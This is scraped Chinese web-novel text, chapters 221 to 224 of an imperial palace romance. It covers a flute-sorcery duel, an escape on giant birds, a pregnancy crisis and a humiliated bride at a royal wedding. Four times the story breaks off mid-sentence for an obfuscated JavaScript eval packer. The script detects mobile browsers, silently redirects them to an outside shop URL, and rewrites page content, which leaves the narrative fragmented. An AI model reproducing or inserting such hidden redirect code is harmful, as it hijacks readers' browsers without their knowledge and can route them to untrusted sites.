他原本是极讨厌她的,可是为什么现在他看到她纤弱的身姿,心中会涌出一抹巨大的怜惜,还有一种深深地自责。 他抬眸淡淡扫了安景晟和华静香一眼,然后对一旁的青玄道:“接下来就交给你了!” 见北宫喆丝毫不为所动,华静香蓦地一滞,看着袭匀嘴角勾起的若有若无的笑意,她似乎明白了什么,顿时脸色大变。 原来她一直都被安文夕这个小**蒙在鼓里了,她故意设计了让袭匀送药那一出,就是为了让她放下疑心。只怕,就连她那次晕倒,通过让她把脉,故意让她发现她并没有解了胭脂泪一事,也是她事先设计好的吧! 中原的女子果然善谋,是她大意了! “你当真以为他昨日白跑一趟?好像你现在明白似乎已经太晚了!”袭匀讥讽的勾起嘴角,他说完也调转了马头,欲踏马而走。 现在就连安景晟也变了脸色,怪不得北宫喆昨日走得如此匆忙,根本不像他的风格,他还以为是他中了忘情蛊,没有那么在乎夕儿的原因。现在看来,他根本就是急着去送解药! 安景晟咬了咬牙,刚欲伸手,她身侧的华静香突然一把握住了安景晟的手,递给了他一个安心的眼神。 半晌,华静香突然从腰间取出一节骨笛,慢慢凑近妖冶的红唇。她的双眸微眯,眼底的凶狠毕露,嘴角缓缓勾起了一抹诡异的笑意。 一旁的流苏见此,嘴角上扬,勾起得意的弧度。 一旦公主吹起了骨笛,迷失了他们的心智,这些人恐怕连**的都不知道! 就在这时,一声奇异的曲调从华静香的唇边逸出,只见她的双眸迷离,如梦如幻,犹如一颗幽深的黑曜石,引人沉醉。 “真是个妖女,别看她的眼睛!”袭匀猛地甩甩脑袋厉声道,他刚才差点被她的眼睛吸进去! 北宫喆眸光微沉,厉声道:“都堵上耳朵!” 可惜,他的话已经晚了,他身后众人,就连青玄眼中都出现了一抹迷醉,显然他们已经被笛声所惑。 此时的华静香浑身上下都透出一股说不出的邪佞,使得众人迷失心智的并不是她的眼睛,而是笛声,她的眼睛所用的不过是短暂的摄魂术,让人只将注意力放在她的眼睛之上,等他们察觉到笛音的时候,已经陷入笛声之中而难以自拔。 那诡异非常的曲调,宛如魔音一般,死死地攫住众人的心魄,让人怎么都逃脱不掉,反而越是挣扎越是痛苦。 安文夕死死地咬着唇,使得自己的心智不被蛊惑,血腥的味道狠狠地刺激着她的神经。 她看了眼身后的北宫喆,虽然他并无异样,可是通过他紧锁的瞳孔可以看出他在强忍! “帮我摘一片叶子可以么?”安文夕浅声道。 此时正沉浸在笛声之中的华静香根本没有注意到北宫喆和安文夕的小动作,随着她的玉指翻动,笛声越来越急,越来越诡异。 这时,北宫喆带来的羽卫竟然有人不堪折磨拔剑自刎,北宫喆顿时眸光一敛,掷起一粒石子击落了他手中的剑,而他身后的一人突然提起长剑直冲北宫喆刺去。 安景晟看到这一幕,嘴角的笑意逐渐扩大,今日他就要生擒北宫喆! 北宫喆右手一紧,手中的长剑闪着寒光,顿时将那人击出了几丈远。 “簌——”一声儿清脆绵长的声音传来,顿时打乱了华静香的笛音。 华静香不敢置信的抬眸,看到北宫喆怀中的安文夕用手捏着一片树叶放在唇边。 她没有听错,刚才声音就是安文夕用那树叶子吹出来的。 可是明明是一片树叶子罢了,就算是可以吹出声音,怎么能够扰乱她的笛音呢,这是她在南昭从来没有遇到过的事情! 安文夕不去理会她的惊讶,继续用树叶吹了起来,庄园里顿时响起一阵空灵的声音,令人心中一震。 安文夕唇边溢出的声音清脆而明亮,刚才被骨笛设了心魄的人宛如听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700813|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一声天籁,原本呆滞的眸子渐渐清明。 华静香眯了眯眼睛,她不信仅凭那一片小小的树叶,安文夕可以破了她的摄魂术!她深深地吸了一口气,再次凝了心神,吹起骨笛。 骨笛声起,刚才那种压抑的感觉再次笼罩在众人心头,袭匀因为安文夕那两声清丽的声音拉回了魂魄,这会立即大力掐了自己一把,痛得他龇牙咧嘴,可是好在他摆脱了那该死的笛。 骨笛之声,死死地绞着众人残存的心智,他们皆拼命的挣扎着,反抗着,甚至不断地拿剑刺伤自己,妄想寻回一抹理智,可是这一切却是徒劳的。 华静香满意的看了眼痛不欲生的众人,眉梢上渐渐染了笑意,安文夕还想跟她斗,真是不自量力! 她眼底的余光瞥到了一旁神色无异的北宫喆,心中阵阵惊骇,他在自己的笛音之下,竟然没有半分迷离,他不是内心极其坚韧之人,就是他的内功已经达到了登峰造极的地步! 几乎所有的羽卫皆被华静香所控制,甚至不少人把手中的长剑对准了北宫喆。 此时立在华静香身后的所有人脸上都露出了信誓旦旦的表情,唯有安景晟淡淡蹙了眉头。 相对于华静香,他更了解夕儿,她是从不做没有把握之事,既然她敢用吹树叶的方法来抑制华静香的笛音,心中必然是笃定的! 安文夕倚在北宫喆怀中,二指捏着树叶,薄唇浅浅吹着,似乎根本没有看到众人痛苦挣扎的模样,她的一汪秋瞳如潭,透着一股娴静与自信。 安文夕沉稳的可怕,看着离自己不过两寸的剑锋,眼睛也未眨一下,不疾不徐的吹着手中的树叶,那声音不大,却极其赋有穿透力,将众人眼底的迷离一点点逼退。 “哐当——” 随着几声巨大的声响,羽卫手中握着的长剑全部掉落在地,双眸也逐渐清明。 华静香心中一颤,安文夕竟然做到了! 她又气又急,不甘心的瞪着安文夕,渐渐的她发现,她的笛声竟然落于下风,完全处于被动的状态,原本得心应手的摄魂术现在却丝毫施展不出! 看着华静香眼底的愤怒,安文夕知道此时的华静香心中已经乱了,于是她深吸了一口气,将华静香慢慢逼入死角。 虽然她不了解南昭那些奇怪的秘术,可是她知道不论做什么都要心静,切记不可分心。不然轻则失败,重则必会走火入魔! 而拥着安文夕的北宫喆一把收了手中的长剑,这才注意到安文夕的额头上沁出了一层细汗,想必与华静香对抗是极费心神的! 此时的安文夕双眸又黑又亮,透着一股子坚韧,这一点竟然和他如出一辙,她脸上带着极淡的静谧,却掩饰不了她苍白的脸色。 他蓦地抬手,一枚极细的银针带着万钧之势倏地射丨入了华静香的捧着的骨笛之中。 “嘭——”一声响亮的声音顿时震破了众人的耳膜。 华静香不可置信的看着碎成一抔齑粉的骨笛,这骨笛可是千年寒冰骨所制,怎么可能会被震碎! 第222章 吉时过了 第二百二十二章吉时过了 北宫喆略带讥讽的瞧了眼难以接受现实的华静香,嘴角冰冷的弧度渐渐扩大。 “慢着——”安景晟握了握华静香的手,对着骑马欲走的北宫喆厉声道。 “北宫喆,你以为这是你想来便来,想走便走的地方么?” “啪啪——”安景晟拍了拍手,四周立即出现了一排弓箭手,而他们手中的**已经拉了满弓,箭已在弦,即刻就发! “北宫喆,我劝你还是束手就擒,不然——” “呵,朕还以为是什么呢,你以为这区区二百弓箭手能够拦得了朕?”北宫喆冷冷打断他的话。 “北宫喆,你不要太放肆了!”今天连连失意的华静香,精神接近崩溃,她从小长这么大,还没有这么挫败过,她咽不下这口气! “放箭——”她咬牙切齿命令道。 “慢!”北宫喆双眸蓦地骤缩。 他紧紧锁着安景晟和华静香道:“放箭之前,你们还是先看一下身后的好!” 安景晟闻言心中莫名的一紧,立即转过身去,他顿时被眼前的一幕惊呆了,原本他吩咐埋伏起来的二百弓箭手此时却全部将箭头对准了他们。 那冰冷的箭头在晨光下闪着寒光,他不敢想象如果刚才华静香下了命令,现在会是怎样的情景。 “晟,这是怎么回事?”华静香脸上浮现一抹巨大的惊愕,不是原本安排了二百人埋伏在此处,以备不时之需么,怎么现在统统变成了北宫喆的人! “公主,驸马,我们被算计了。”左**惊呼道。 现在要怎么办?难道让她逃回南昭么,她华静香丢不起这个脸,也没办法向娘亲交代!华静香双手死死地攥着衣袖,眸光不由自主的看向了安景晟,却发现他此时正抿着嘴角,俊逸的面庞上有一丝犹豫。 “香儿,留得青山在,不怕没柴烧。” “不,我不要,我要杀了北宫喆他们!”华静香嘶吼道,不杀北宫喆和安文夕难泄她的心头之恨。 “公主,驸马说的有道理,我们还是走吧。”流苏劝道。 “走?”北宫喆讥讽的吐出了一个字。 这是他大夏的地盘,他们还真的将这里当做了自己的家了不成? “朕同意你们走了么?” 安景晟心中一惊,此时被北宫喆咬住,只怕他不会善罢甘休,而且他部署了这么久,将他们逼入绝境,肯定不单单是救安文夕那么简单! “青玄,杀无赦!”北宫喆冰冷的声音犹如来自地狱一般,令在场的所有人心中都升起了一抹恐惧。 “属下,遵旨!”青玄抱拳道,刚才他被那南昭的妖女所控,差点犯下了大逆不道之事,此时恨不得将华静香**万段,手中握着的长剑幽幽的泛着寒芒。 “你敢!”华静香咬牙看着渐渐逼近的羽卫和不远处密密麻麻的箭头,含恨的扫了眼北宫喆。 “香儿,过来我身后!”安景晟一把将华静香扯到了身后,警惕的盯着来人。 左**和其他执事皆将安景晟和华静香护在了里侧,此时他们已经明白大势已去,定要保护好公主。 “杀!”随着青玄一声令下,众羽卫立即提剑迎战。 不过一盏茶功夫,羽卫已经将他们逼至死角,华静香看着节节败退的众人,咬了咬牙,最后从脖子里摸出一个口哨,放在唇边吹了一口,立即发出一声尖锐的响声。 不出片刻,天边突然出现了一群黑压压的东西,离得近了才开清那是一些身形庞大的鸟! 其中为首的那只巨鸟,展开双翅竟可遮天蔽日,身形极像远古传说中的大鹏鸟! 华静香嘴角微勾,不屑的看了眼微微震惊的众人,对安景晟道:“晟,我们走吧!” 仅凭他们,是拦不住她的! 安景晟会意,立即拦住华静香的纤腰跃上了鸟身,那只大鸟极通灵性,待安景晟和华静香坐稳之后才扇动了翅膀。 其他人也如法炮制,一一跃上了鸟背,扬长而去。 驭鸟本就极为罕见,没想到一下子还来了这么多只大鸟,这是所有人都不曾料到的,只能眼睁睁的看着他们越飞越远。 青玄大怒,厉声道:“还愣着做什么,赶紧放箭!” 众人这才如梦初醒,可是那些大鸟仿佛在身后长了眼睛一般,轻松的避过密如牛毛的羽箭。 “这些鸟难道成精了不成,这样都可以躲得过去!”袭匀不由得阵阵吃惊。 就在这时,北宫喆一把夺过一人手中的**,将弓弦拉到最大,双箭齐发。离弦之箭,蓄满了力量,一直追着安景晟和华静香所乘的大鹏鸟而去。 因为知道这些大鸟的能力,华静香根本不担心下面的羽箭可以射到他们,所以她并没有丝毫防范。 等到她感觉后脊一寒的时候,再想躲避已经来不及,只能惊恐的看着那支羽箭离她越来越近。 而这时,她身侧的安景晟一把将她推开,随后便传来一声箭矢入体的声音,并伴随着安景晟的闷哼。 华静香的心蓦地一滞,她是无论如何也没有想到安景晟竟然会帮她受了这一箭。 他明明知道这只羽箭蓄了力量,弄不好可是会要命的,为什么还要这样做? 她来不及多想,立即去扶安景晟,没想到却摸到了一片湿滑,她抽出手一看,竟是满手的鲜血。 华静香黛眉高高蹙起,“晟,你怎么样?” 安景晟眉头紧锁,像是在忍受着极大的痛苦一般,看着华静香满脸紧张的神色,他的心中微微一滞。 她竟然在担心自己,安景晟有些不可置信,他看着华静香的眼睛,然而她双眸内的那一丝担忧做不了假。 “我……没事……” 怎么可能会没事?华静香抿了唇,将他的身子小心放平,查看了下上口,心中微惊,那支羽箭几乎全部没入他的背后,而箭头的方向正是他的心脏之处。 看着越来越多的鲜血流出,华静香心中有些怕了,只有降落到平地上,她才能重新查看一下那只羽箭是否伤到了安景晟的心脏! 她再次吹了口哨,想要催促大鹏鸟加快速度,可是即便她再吹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700814|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大鹏鸟的速度却越来越慢,华静香蓦地一惊,她立即看了下大鹏鸟的尾部,那里赫然插着一支羽箭,鲜红的鲜血已经染红了大片的羽毛。 华静香眸中沁出浓浓的阴狠,北宫喆,她是绝不会放过他的! 北宫喆将**递给身侧的人,虽然一箭射到了大鹏鸟,一箭射到了安景晟,可是却没有将他们击落,未免有些可惜了,错过了今日这个机会,再想对付他们就难了! 他一低头,却发现怀中的女人早已晕了过去,她此时太过虚弱了! “北宫喆,你不如将小师妹留在这里吧,她现在这个样子可赶不了路,你不是还得赶着去成亲么?” 北宫喆自然是不放心将安文夕放在这里的,万一安景晟和华静香卷土重来,那他做的一切不是白费了么? 更何况,她要是再不回宫,宫里指不定要传出什么流言蜚语了! 北宫喆扫了袭匀一眼,小心的将安文夕揽在了怀中,双腿一夹马腹,带着她出了庄院。 “唉,我说,能不能不把我当空气!”好歹他也是孩子他舅舅好不好?袭匀愤愤,也夹了下马腹,追了上去。 庄院外面已经准备好了马车,马车上面铺了厚厚的被褥,人躺上去十分舒服。 北宫喆将安文夕抱上了马车,刚想离开,却发现她的手中紧紧的攥着他的衣角,看着她惨白的脸颊,他的心中一动,竟坐在了她的身侧。 “慢一点。”他掀开车帘对马车外道。 袭匀追了出来,隔着车帘对北宫喆道:“你难道不打算成亲了,这会吉时都快过了。” 半晌,马车内传来了一阵清冷的声音,“朕的事情何时需要你来管?” 袭匀顿时语噎,好像是他多管闲事一样,他的脑海中顿时冒出一句话,皇上不急太监急! 他恨恨的磨了磨牙,幽怨的看了眼马车,双腿狠狠地夹了马腹。 由于考虑到安文夕的身体状况,一路上马车行的很慢。北宫喆静静地打量着她的眉眼,黛眉纤纤,尾端偏偏向上勾起,似乎连眉毛都带了几分倔强,长长的睫毛投下了一排剪影,他的视线往下是小巧的鼻子,苍白的唇。 她很美,至少在他看来是九州少有的绝色。然而她的美并不是外表的浮华,而是骨子里透出来的美丽,仿佛是致命的诱惑,令人难以移开眼睛。 可是,就是这样的她,他不论看多少遍,都依旧不记得她的容颜。 半晌,北宫喆伸出手覆上安文夕的小腹,慢慢的抚摸着,去感受一个小生命。 那里,是他们的孩子,虽然他什么都不记得,可是他却无法忽略他的存在。 他突然觉得这一幕十分温馨,这是他从来没有过的感受。 马车一直行驶了整整三个时辰才驶进了宫城,此时别说是吉时,就连宫宴都散了。 “皇上,到了,是否要从午门进宫?”青玄问道。 “不必,从侧门过。” 午门是正门,今天他不但没有按着吉时和江向晚拜堂,而且到现在才回宫,若是再从午门进宫,那也太过招摇了! 第223章 没有拜堂 第二百二十三章没有拜堂 进了宫门,马车一路行至了未央宫,安文夕依旧没有醒来,原本苍白的脸色更显憔悴,北宫喆伸手一捞,欲将安文夕抱在怀中。 他的手刚触动安文夕的身下,整个人顿时一滞,他一把将安文夕抱了起来。 只见,安文夕躺过的地方有一摊红色干涸的血渍,而安文夕下身的衣物上也沾染了一片血红。 怎么会这样,这一路上并无异常怎么会见红? 他的双手顿时收紧,紧抱着安文夕大步跨进了未央宫。 “怎么了?”袭匀有些纳闷,北宫喆脚下带风,他一眨眼的功夫,那人就已经抱着小师妹进了未央宫。 “快,去叫月清绝!”北宫喆见欢凉迎上来,立即吩咐道。 欢凉在未央宫内忐忑不安了整整一日,看着北宫喆抱着安文夕回来,心中顿时惊喜万分,但看到北宫喆冰冷的脸色和他眉宇之间的忧虑,脚步一滞,然后转身去了月无双所住的偏殿,月清绝此时正在那里。 北宫喆抱着安文夕进了寝殿,将她放在床榻上,脸色沉得可怕。此时,他的手心出了一层冷汗,他看着她的小腹,有些怕了。 这时,月清绝急冲冲的进了寝殿,扫了眼安文夕,对脸色冰冷的北宫喆道:“又怎么了,胭脂泪解了么?” “解了,但是今日见红了。” “见红?”月清绝说着已经上前给安文夕探脉。 月清绝把了脉,眉头渐渐蹙了起来,他没有想到她的脉象竟然如此之弱,只余一息游丝,他摸了几次才摸到了脉息。 “怎么了?”北宫喆看着他越皱越高的眉头终于忍不住开口。 “胭脂泪解毒之时,需要忍受万蚁蚀心之痛,她本就是有孕之身,承受能力不比常人,而且解毒极耗心神,若是熬不过万蚁蚀心之痛便会……但是话又说回来了,就算是挺过了解毒过程,身子也会受损极大。” “小师妹今日还破了华静香的摄魂术!”袭匀走过来说道。 “摄魂术?”月清绝惊呼,那也是极费心神的! 北宫喆有些不悦的扫了袭匀一眼,这后宫之中,岂是男子随便进的,而且这里还是她的寝殿,他就如此大喇喇的坐在了她的榻前,难道他以前也都是这样么? 袭匀毫不在意北宫喆冷冰冰的眼神,继续道:“小师妹破了摄魂术之后就昏迷不醒了,她现在怎么样,还有我的小外甥,没事吧?” “如今情况有些糟糕,我尽力而为。”月清绝抿唇。 “什么叫尽力而为,姓月的,你要一定保证小师妹和孩子没事!” 月清绝脸色凝重,没有理他,对北宫喆道:“她现在身子太过虚弱,就算是用药也难以吸收……” “你尽管开药便是,剩下的,朕来想办法。”北宫喆眸光微凝。 “可是,她腹中的孩子……”大人他可以保得住,可是这孩子么,毕竟还没有成型,他不敢保证。 “务必保住!”北宫喆冷冷扔下这句话。 月清绝咬牙,吩咐笔墨伺候,然后去一旁开药,北宫喆小心的将安文夕扶了起来,冷着一张脸将袭匀挤到一边,然后开始给安文夕输入真气,希望可以保住她的心脉。 袭匀撇撇嘴,真是个小心眼的男人! 过了一个时辰,月清绝已经开好了方子,抓了药,然后交给欢凉去煎药。 此时安文夕额头沁出了一层细汗,而北宫喆更是大汗淋漓,待他收了掌之后,月清绝给安文夕把了脉,感受着她内力流窜的内力,不禁大惊,看着北宫喆道:“你竟然给了她三成内力!” “现在是否可以用药了?” 月清绝点点头,探着安文夕的脉搏明显比刚才有力了,他的双眸中划过一抹疑惑,这北宫喆不是完全不记得安文夕了么,前些日子还对她十分讨厌,怎么现在为了她竟不惜给了她三成的内力? 北宫喆的内力修为已经达到了登峰造极的地步,这一点别人不知道,而他月清绝可是清楚得很,他的三成内力,那是什么概念,也许是许多练武之人穷极一生都达不到的境界!比如说,他月清绝这辈子都不可能做到。 月清绝压下心中的惊骇,咕哝一句:“你倒是舍得。” “皇上,药好了。”这时,欢凉端着药走来。 安文夕服过药后,北宫喆又给她擦洗了身子,重新换了清爽的衣物。 服了药之后,她肚子里的孩子算是基本上可以保住了,至于她的身体恢复的如何,只能等到明日她醒来了才能知晓。 做完这一切已经戌时过半,外面天色也已经暗了,就连张海也已经来未央宫催了三次。 北宫喆看着安文夕娴静的脸庞,顿时觉得一阵莫名其妙,他明明早就可以走的,可是脚下就如同生了根一般,不仅给她喂药,还亲自给她擦身换衣。在他的记忆中,他从来没有对一个女人这样过,而且这一切做起来是那样的轻车熟路,仿佛是做惯了一般。 他瞥了眼一脸焦急的张海,这才开口道:“走吧。” “皇上,如今晚宴即将开始,您是直接去九华殿还是去钟粹宫?” 钟粹宫,是中宫之所。 北宫喆抿着唇,对张海道:“你先去钟粹宫知会一声,朕一会过去。” “是。”张海领命抱着拂尘而去。 张海走后,左言便立即现身,跟在北宫喆身后。 “今日大婚,朕不在,宫中是个什么情况?” “太后娘娘故意吩咐轿夫抬着皇后娘娘从侧门入宫。” 北宫喆闻言,眸光微敛,“她也太放肆了!”声音之中隐约带着怒意。 “没有从正门而入,没有拜堂,想必皇后娘娘现在不好过吧。” 北宫喆一滞,最后脸上带了丝凝色,“这路是她自己选的。” 他的言下之意便是当初是她自己费尽了心机也要得到皇后之位,如今的这一切又能怪得了谁? 左言隐隐听出了北宫喆的不悦,再也不敢就着这话说下去。 “皇上,今晚的晚宴上,太后娘娘有礼物要送给您。” “是么?”北宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703857|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喆淡淡道,这一句听不出任何情绪,而他的嘴角噙着淡淡的讥讽。 左言心中微微一惊,忙道:“皇上若是不喜,属下这就将此事解决。” “朕怎能辜负母后的一片好心呢?” 北宫喆微微握了握拳,看了眼朦胧的月色,长长的舒了口气,曹暮烟把持朝政的日子也该到头了! “你退下吧。”北宫喆说完,撩开了步子,朝钟粹宫走去。 而他身后的左言身形一闪,不见了踪影。 钟粹宫,江向晚一身凤冠凤服,在璀璨的灯火下熠熠生辉,华美非凡,而大红的喜帕下,是一张阴鸷至极的脸。此时她的双眸内泛着丝丝阴狠,眸光更如淬了毒一般死死地盯着脚下,双手拼命的地绞着手帕来压抑着愤怒。 今日她将自己盛装打扮一番,然后满怀着欣喜坐上了花轿,只是为了能够让他看到她最美的一面,可是没想到这一切竟是她的妄想。 如今已经将近亥时,可是那个人始终没有出现过,她原本满心的激动此时已经渐渐冷却,只剩下了浓浓的羞辱与愤怒。 误了吉时,没有拜堂,是算不得真正成婚的! 成亲那日,是所有女子最幸福的一日,而她却只受到了铺天盖地的侮辱。 初登花轿之际,她由喜娘搀着,透过大红的喜帕,偷偷的瞥了眼马上的人,整个人顿时惊住了,那马上的人不是她心心念念的北宫喆,而是左言。 本来,在九州大陆,一般皇帝娶亲并不会亲自迎娶,但是凡事也有例外,前大夏时,就有几位皇帝亲自去迎娶心爱的女人,场面甚是宏大。她却在心中隐隐地期待着北宫喆会来,结果却看到了左言,心中的失望可想而知。 虽然也是绕城一周,给了她无限的荣耀,可是等来到宫门之时,却不是由午门而入,而是将她从神武侧门抬了进去,在九州大陆,从没有迎娶皇后会从侧门抬入一说,这简直是奇耻大辱! 等她发现,已经进了宫门,就算再怎么发怒,也没有办法了。 就算是喆不想娶她,也绝不会让她遭受天下人的耻笑,那么这么做的就只有曹暮烟了! 想必是她上次没有交出引魂丹,才会招来她的记恨。 “小姐……”雪芙一出口,才发现自己口误,立即改口道,“皇后娘娘。” 听到雪芙的那声皇后娘娘,江向晚的脸色更冷,以前她觉得皇后娘娘这个称号是一种无上的荣耀,而现在对她而言无疑是嘲讽。 这只会提醒她今日遭受到的羞辱! 想到这里,江向晚一把扯下头上的喜帕,狠狠的扔在脚下,这才发现,她的脖子早已被重重的凤冠压得酸痛。 “怎么了,都打听清楚了么?” 雪芙看到江向晚美艳的脸上露出的狰狞表情,不禁吓了一跳,随即她立即捡起地上的喜帕,“皇后娘娘,这不吉利的。”女子怎能自己掀掉盖头呢? 吉利?江向晚冷冷一笑,她如今都已经成了一个笑话,还在乎吉不吉利? 她从雪芙手中夺回喜帕再次扔到地上。 第224章 风云暗涌 第二百二十四章风云暗涌 雪芙见她盛怒,也再不敢去捡喜帕,立即将刚刚打听到的消息告诉她,“皇后娘娘,今日皇上并不在宫里,一直快到酉时才回宫,而且一回宫便去了未央宫,一直到现在还没有出来。”雪芙说道最后,声音已经微不可见,她立即低下了头,不敢去看江向晚的脸色。 又是安文夕,又是那个**! 不是明明都已经不记得她了么,那日她亲眼看到了他的冷漠与厌恶,为什么几日不见,他又被那**勾走了魂魄? 江向晚死死地握着拳头,如同一头发怒的狮子一般,双眸的阴毒丝毫没有遮掩,在跳跃的烛光下分外骇人。 安文夕,曹暮烟,她一遍遍的念着这两个名字,是她们令她名誉扫地,被天下人耻笑。 她绝不会放过她们,绝不会! 这时,一个小丫鬟忙跑了进来,福身道:“启禀皇后娘娘,张公公让奴婢告诉娘娘一声,皇上这就要过来。” 过来?江向晚一愣,她实在没有想到北宫喆这个时候还会过来。 她脸上的愤怒慢慢消逝,立即整理了一下衣摆,重新做到了床榻上,然后吩咐雪芙道:“赶紧将喜帕捡起来。” “是,皇后娘娘。”雪芙捧起喜帕,却看到喜帕已经**向晚弄得又脏又皱,她咬了咬唇道,“皇后娘娘,您看这喜帕……” 江向晚眉头微皱,没想到喜帕成了这个样子,可是北宫喆这就要来了,这可怎么办? 就在她犹豫之际,外面传来了一声尖细的嗓音:“皇上驾到!” 江向晚咬了咬牙,也不管这么多,直接将喜帕盖在了头上,有些忐忑的握着双手。 她原本想等他来了就去质问他为什么要这样羞辱她,可是如今他来了,她却不知道该怎样开口。 听着越来越近的脚步声,江向晚的心也跳得越来越厉害,她的紧张如同每一个新婚女子期待着新婚丈夫掀开她头上的喜帕一般。 北宫喆看着笔直的坐在榻上的女子,身形因为紧张而有些僵硬,他在记忆中倒不曾记得有这样的江向晚,这样的她,倒是越来越陌生了。 “晚儿,一会有晚宴,到时朕准备了车辇来接你。” 江向晚等了半晌,没有等到他来掀自己的喜帕,却等来这样一句话,难道他就这么不愿意娶她么? 她咬了咬牙,一把掀开自己的喜帕,站了起来,走到北宫喆跟前道:“难道皇上不带臣妾一起过去么?” “朕现在就走,你先收拾一下,晚一会再过去便可。” 这根本就是没打算承认她!江向晚眼中隐隐的有了些怒意。 “你好好准备一下。”北宫喆说完,抬脚便走。 江向晚握了握拳,跟了上去,“皇上难道不打算给臣妾一个解释么?” “你想要什么解释?” 江向晚一滞,她分明在他的眼中看到了冷漠,好似在说这一切都是她咎由自取一般,她不由得后退一步。 “皇上,臣妾……” “记住你的本分。”北宫喆扔下这一句头也不回的走了出去。 江向晚颓唐的后退了两步,雪芙立即上前搀住了她,“娘娘……” 本分么,江向晚微微垂下了眼睑,没想到她努力了这么多,却只换了这两个字,她的嘴角慢慢勾起一抹自嘲的笑意。 这时,她蓦地想起了另一个男人来,想必如今,那人也会彻底断了念想吧。 “白苏。”江向晚厉声唤道。 “奴婢在。”一个窈窕的身影从殿外走了出来。 白苏,是父亲刚赐给她的一个丫头,有些拳脚功夫。 “惊魂……”她一时不知道怎么开口。 白苏立即会意,“皇后娘娘,季公子今日一直待在将军府内。” 到底还是她辜负了他的一片心意。 江向晚微微摆了摆手,“退下吧。”她的眉眼之间沁出淡淡的颓败。 九华殿。 曹暮烟端坐在御座之上,那座位用纯金打造,上面雕刻了几条栩栩如生的游龙,而且扶手之上镶嵌了不计其数的珠玉,奢华非凡,隐隐有些盖过龙椅之势,而下面的臣子皆视若不见,更有甚者是一幅看戏的样子,他们都想知道这位向来杀伐决断的帝王看到了会是怎样反应? 自古只有天子才有资格用龙,而曹暮烟不仅用了,而且还是九条游龙,这一行为无疑是将她的谋逆之心暴露无遗。 就在众人心思各异的时候,一声尖细的嗓音传来,“皇上驾到!” 前方台阶之上顿时传来了一阵威压,众人皆跪地三呼万岁。 北宫喆淡淡扫了眼众人,“平身。” 下面的众人看着金阶之上身若芝树的男子,浑身皆是桀骜之势,一身明黄,将那与生俱来的帝王之尊彰显的淋漓尽致。如今皇上雄才大略,却一直被曹太后这样拿捏着,未免有些可惜了。 北宫喆淡淡扫了眼殿内众人,然后将视线落到了曹暮烟脸上,只一瞬便已经移开了眸光,好像根本没有看到她坐着的御座一般。 此时众人皆微微心惊,如今看来不是皇上易于拿捏,被太后培养成了一枚傀儡,就是说明皇上太过隐忍。 而很显然,他们的这位年轻帝王并不是前者,不少朝臣在心里这样想着。 北宫喆翩然落了坐,他的神色冷淡,而嘴角却带了丝若有若无的笑意,“没想到母后来得这样早。” “哀家清闲的厉害,可不像皇上一样日日为国事操劳。”曹暮烟嘴角挂着浅浅的笑。 这句话分明是在讽刺他为了安文夕,误了吉时,没有拜堂,错过了大婚。 不过,没有拜堂一事,也仅有少数人知道罢了,在场的朝臣是丝毫不清楚的。 “今日的事,有劳母后费心了。” 底下的朝臣不动声色的瞧着这母慈子孝的场景,可是谁都知道此时已经风云暗涌了! “不妨事。”曹暮烟笑着转了眸光,“既然皇帝来了,也该开宴了。” 曹暮烟话音刚落,底下的江佑城脸色顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703858|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑成了锅底,今日本是皇上和他的晚儿大婚之日,刚才晚儿没有和皇上一起来也就罢了,没想到现在那曹太后竟然不等晚儿就要开宴,这不是摆明了要羞辱他江佑城么? 这时,他已经感受到了周围有几道不怀好意的目光落到了他的身上,这简直是耻辱,他此时恨不得拂袖而去。 而一旁的座位上,江向晴嘴角噙了丝玩味的笑意,她才不管她父亲现在是如何生气,她只知道,她姐姐江向晚丢了脸对她而言就是天大的好事。 要知道,从小到大,若想看到被众星捧月的姐姐被人耻笑可是难事。 “母后,晚儿这就到了,等她来了,再开宴也不迟。”北宫喆淡淡开口,在人前,他还是愿意给江向晚这个面子的。 “哼,她倒是架子大,让哀家和皇帝在这里亲自等她。”曹暮烟说话之时,嘴角虽然含笑,但美丽的凤眸已经沁了一层寒霜。 